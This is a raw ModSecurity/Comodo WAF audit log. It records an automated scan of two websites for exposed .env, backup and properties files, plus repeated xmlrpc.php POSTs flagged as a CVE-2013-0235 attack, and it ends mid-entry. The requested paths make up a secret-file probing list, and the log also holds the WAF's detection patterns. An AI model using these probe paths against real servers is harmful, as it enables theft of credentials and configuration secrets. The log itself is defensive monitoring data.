--9d64b31f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9BMDS0ae_06VU86h78-QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024496002975 1042837 (- - -) Stopwatch2: 1750024496002975 1042837; combined=158404, p1=456, p2=1513, p3=42, p4=69, p5=78196, sr=134, sw=122, l=0, gc=78006 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d64b31f-Z-- --b4775b49-A-- [16/Jun/2025:03:25:32.691293 +0530] aE9BVIl8S04UZ4l67-ngYgAAAAk 185.177.72.210 43182 127.0.0.1 7081 --b4775b49-B-- GET /:8443/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b4775b49-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42f0a27fa2c9551476f6089cabbd66b51750024532; expires=Sun, 15 Jun 2025 22:55:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b4775b49-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.backup"] [unique_id "aE9BVIl8S04UZ4l67-ngYgAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.backup"] [unique_id "aE9BVIl8S04UZ4l67-ngYgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024532002934 688422 (- - -) Stopwatch2: 1750024532002934 688422; combined=1943, p1=347, p2=1449, p3=0, p4=0, p5=147, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b4775b49-Z-- --3a544d2c-A-- [16/Jun/2025:03:25:58.005454 +0530] aE9BbUNwpNEMJppxC49T5QAAAAI 128.199.112.101 47158 127.0.0.1 7081 --3a544d2c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3a544d2c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3a544d2c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9BbUNwpNEMJppxC49T5QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024557079373 926136 (- - -) Stopwatch2: 1750024557079373 926136; combined=2478, p1=379, p2=1696, p3=47, p4=65, p5=180, sr=111, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a544d2c-Z-- --814a3865-A-- [16/Jun/2025:03:26:32.945366 +0530] aE9BkDS0ae_06VU86h79KgAAAAA 185.177.72.210 60476 127.0.0.1 7081 --814a3865-B-- GET /:5601/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --814a3865-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4017ec5a0c857aaf48a0fb7ff2168371750024592; expires=Sun, 15 Jun 2025 22:56:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --814a3865-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/prod/.env"] [unique_id "aE9BkDS0ae_06VU86h79KgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024592289433 655997 (- - -) Stopwatch2: 1750024592289433 655997; combined=1922, p1=450, p2=1372, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --814a3865-Z-- --fe78eb25-A-- [16/Jun/2025:03:26:58.138269 +0530] aE9BqYl8S04UZ4l67-ngigAAAAk 128.199.112.101 36494 127.0.0.1 7081 --fe78eb25-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 510 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fe78eb25-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fe78eb25-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9BqYl8S04UZ4l67-ngigAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024617187398 950929 (- - -) Stopwatch2: 1750024617187398 950929; combined=2187, p1=373, p2=1366, p3=45, p4=67, p5=211, sr=93, sw=125, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fe78eb25-Z-- --bff8a412-A-- [16/Jun/2025:03:27:41.985112 +0530] aE9B1YrLgrklqy57Kk2edAAAAAg 185.177.72.210 49994 127.0.0.1 7081 --bff8a412-B-- GET /application.properties.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bff8a412-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e692c6108d2361196633b574bb9d62951750024661; expires=Sun, 15 Jun 2025 22:57:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bff8a412-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".properties.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".properties.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/application.properties.bak"] [unique_id "aE9B1YrLgrklqy57Kk2edAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024661318763 666413 (- - -) Stopwatch2: 1750024661318763 666413; combined=2533, p1=442, p2=1995, p3=0, p4=0, p5=96, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bff8a412-Z-- --5c67264a-A-- [16/Jun/2025:03:27:48.021466 +0530] aE9B23ZqyQ8YfVGvJU7a9QAAAAY 185.177.72.210 50170 127.0.0.1 7081 --5c67264a-B-- GET /.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5c67264a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=140f457570bc551abead19c5f39262291750024667; expires=Sun, 15 Jun 2025 22:57:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5c67264a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.inc"] [unique_id "aE9B23ZqyQ8YfVGvJU7a9QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024667267062 754491 (- - -) Stopwatch2: 1750024667267062 754491; combined=2012, p1=310, p2=1589, p3=0, p4=0, p5=113, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c67264a-Z-- --aff27137-A-- [16/Jun/2025:03:27:52.268740 +0530] aE9B33ZqyQ8YfVGvJU7a-gAAAAY 185.177.72.210 37942 127.0.0.1 7081 --aff27137-B-- GET /config/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aff27137-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6328248e2e278afd27886296e2aca8991750024672; expires=Sun, 15 Jun 2025 22:57:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aff27137-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.staging"] [unique_id "aE9B33ZqyQ8YfVGvJU7a-gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024671513302 755504 (- - -) Stopwatch2: 1750024671513302 755504; combined=2192, p1=452, p2=1622, p3=0, p4=0, p5=118, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aff27137-Z-- --15a67014-A-- [16/Jun/2025:03:27:54.258307 +0530] aE9B4RAGYpjnkyifC9YiiwAAAAU 185.177.72.210 38092 127.0.0.1 7081 --15a67014-B-- GET /:5601/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --15a67014-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d975c84da8234464ee1150f521e428d81750024674; expires=Sun, 15 Jun 2025 22:57:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --15a67014-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.c9/metadata/environnement/.env"] [unique_id "aE9B4RAGYpjnkyifC9YiiwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024673558663 699706 (- - -) Stopwatch2: 1750024673558663 699706; combined=2191, p1=494, p2=1610, p3=0, p4=0, p5=86, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --15a67014-Z-- --1c375e56-A-- [16/Jun/2025:03:27:57.993026 +0530] aE9B5Yl8S04UZ4l67-ngrQAAAAk 185.177.72.210 38226 127.0.0.1 7081 --1c375e56-B-- GET /:8080/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c375e56-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=88de7e7efde6ddf05d3445e0a41a1e461750024677; expires=Sun, 15 Jun 2025 22:57:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c375e56-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/storage/.env"] [unique_id "aE9B5Yl8S04UZ4l67-ngrQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024677336225 656864 (- - -) Stopwatch2: 1750024677336225 656864; combined=2173, p1=491, p2=1585, p3=0, p4=0, p5=97, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c375e56-Z-- --76985e2d-A-- [16/Jun/2025:03:27:58.043643 +0530] aE9B5UNwpNEMJppxC49UKgAAAAI 128.199.112.101 38206 127.0.0.1 7081 --76985e2d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --76985e2d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --76985e2d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9B5UNwpNEMJppxC49UKgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024677111424 932275 (- - -) Stopwatch2: 1750024677111424 932275; combined=2417, p1=397, p2=1613, p3=45, p4=66, p5=181, sr=103, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76985e2d-Z-- --0ab69767-A-- [16/Jun/2025:03:28:11.827164 +0530] aE9B81R6EeXjkGzEkblnTAAAAAs 185.177.72.210 33126 127.0.0.1 7081 --0ab69767-B-- GET /frontend/react/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0ab69767-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=684663aef5853b88180bee51d3ec59441750024691; expires=Sun, 15 Jun 2025 22:58:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0ab69767-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/frontend/react/.env"] [unique_id "aE9B81R6EeXjkGzEkblnTAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024691179618 647608 (- - -) Stopwatch2: 1750024691179618 647608; combined=1649, p1=346, p2=1201, p3=0, p4=0, p5=102, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ab69767-Z-- --293cab34-A-- [16/Jun/2025:03:28:24.665175 +0530] aE9CAH2GhYywD7zZgx78mwAAAAM 185.177.72.210 39406 127.0.0.1 7081 --293cab34-B-- GET /dump.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --293cab34-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=07ceacd1faca8ee6c7af1b06f7b7380d1750024704; expires=Sun, 15 Jun 2025 22:58:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --293cab34-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dump.old"] [unique_id "aE9CAH2GhYywD7zZgx78mwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024704007834 657417 (- - -) Stopwatch2: 1750024704007834 657417; combined=1924, p1=360, p2=1457, p3=0, p4=0, p5=107, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --293cab34-Z-- --d24ebf50-A-- [16/Jun/2025:03:28:25.644564 +0530] aE9CAFR6EeXjkGzEkblnUwAAAAs 185.177.72.210 39454 127.0.0.1 7081 --d24ebf50-B-- GET /.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d24ebf50-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 